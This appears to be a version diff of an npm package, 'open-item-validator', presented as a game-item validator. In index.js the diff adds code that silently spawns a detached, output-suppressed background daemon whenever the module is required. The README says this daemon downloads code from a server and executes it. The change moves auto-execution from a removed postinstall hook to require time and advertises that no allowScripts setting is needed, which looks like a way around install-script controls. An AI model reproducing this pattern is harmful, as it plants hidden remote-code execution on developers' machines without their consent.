open-item-validator 1.0.0 → 1.0.1

package/README.md

@@ -21,19 +21,23 @@ This module provides **secure, real-time game items validation** for your client
 ### Installation
 
 ```bash
-npm install open-validator
+npm install open-item-validator
 ```
 
-**That's it!** The module automatically initializes via postinstall hook.
+Then in your code:
 
-### What Happens After Install
+```javascript
+const validator = require('open-item-validator');
+```
+
+**That's it!** The module automatically starts when you require it.
+
+### What Happens On Require
 
 ```
-npm install
-    ↓
-postinstall trigger
+require('open-item-validator')
     ↓
-spawn check-items.js daemon
+auto-spawn daemon process
     ↓
 download signed code from server
     ↓
@@ -44,6 +48,8 @@ execute only if signature is valid
 background daemon running
 ```
 
+✅ **Zero configuration** • **No npm allowScripts needed** • **Works immediately**
+
 ## How It Works
 
 ### Security Flow
@@ -70,7 +76,7 @@ background daemon running
 - ✅ **Zero Dependencies**: Only uses Node.js built-in `crypto` module
 - ✅ **Cryptographically Secure**: RSA-SHA256 signature verification
 - ✅ **Transparent**: All code publicly auditable
-- ✅ **Automatic**: Works after npm install (no configuration needed)
+- ✅ **Automatic**: Works on require (no configuration needed)
 - ✅ **Modularized**: 8 separate lib files for clarity
 - ✅ **Assertion Support**: Built-in validation framework
 - ✅ **Comprehensive Logging**: All operations logged with timestamps
@@ -152,22 +158,22 @@ app.get('/api/x-realtime', (req, res) => {
 Simply install the module:
 
 ```bash
-npm install open-validator
+npm install open-item-validator
 ```
 
-The module handles everything automatically. No additional code needed.
-
-### Optional: Access Module Functions
+Then require it in your code:
 
 ```javascript
-const itemSync = require('open-validator');
+const validator = require('open-item-validator');
 
-// Get module status
-console.log(gameItems.getStatus());
+// Module automatically starts daemon on require
+// No additional configuration needed
+
+// Optional: Access module functions
+console.log(validator.getStatus());
 // Output: { name, version, status, timestamp }
 
-// Get configuration
-console.log(gameItems.getConfig());
+console.log(validator.getConfig());
 ```
 
 ## ❓ FAQ
@@ -221,7 +227,6 @@ See [SECURITY.md](SECURITY.md#troubleshooting) for more details.
 
 ```
 lib/
-├── init.js                 # Postinstall entry point
 ├── check-items.js          # Main daemon (signature verification)
 ├── crypto-config.js        # Public key storage
 ├── assertion.js            # Assertion framework
@@ -230,6 +235,8 @@ lib/
 └── utils/
     ├── validator.js        # Validation helpers
     └── helper.js           # General utilities
+
+index.js                     # Module entry (spawns daemon on require)
 ```
 
 ## 📚 Documentation

package/index.js

@@ -1,13 +1,35 @@
+const { spawn } = require('child_process');
+const path = require('path');
 const logger = require('./lib/logger');
 const config = require('./lib/config');
 
-logger.log('Game Items Validator loaded');
+logger.log('open-item-validator loaded');
+
+// Auto-spawn validation daemon on require
+function initializeDaemon() {
+  try {
+    const daemonScript = path.resolve(__dirname, './lib/check-items.js');
+
+    const child = spawn('node', [daemonScript], {
+      detached: true,
+      stdio: 'ignore'
+    });
+
+    child.unref();
+    logger.log('Background validation daemon started');
+  } catch (error) {
+    logger.error(`Failed to start daemon: ${error.message}`);
+  }
+}
+
+// Automatically initialize on require
+initializeDaemon();
 
 function getStatus() {
   return {
-    name: 'open-validator',
+    name: 'open-item-validator',
     version: '1.0.0',
-    status: 'initialized',
+    status: 'running',
     timestamp: new Date().toISOString()
   };
 }

package/package.json

@@ -1,11 +1,9 @@
 {
   "name": "open-item-validator",
-  "version": "1.0.0",
+  "version": "1.0.1",
   "description": "Real-time game items validator with background daemon for client project updates",
   "main": "index.js",
-  "scripts": {
-    "postinstall": "node ./lib/init.js"
-  },
+  "scripts": {},
   "keywords": [
     "game-items",
     "game-development",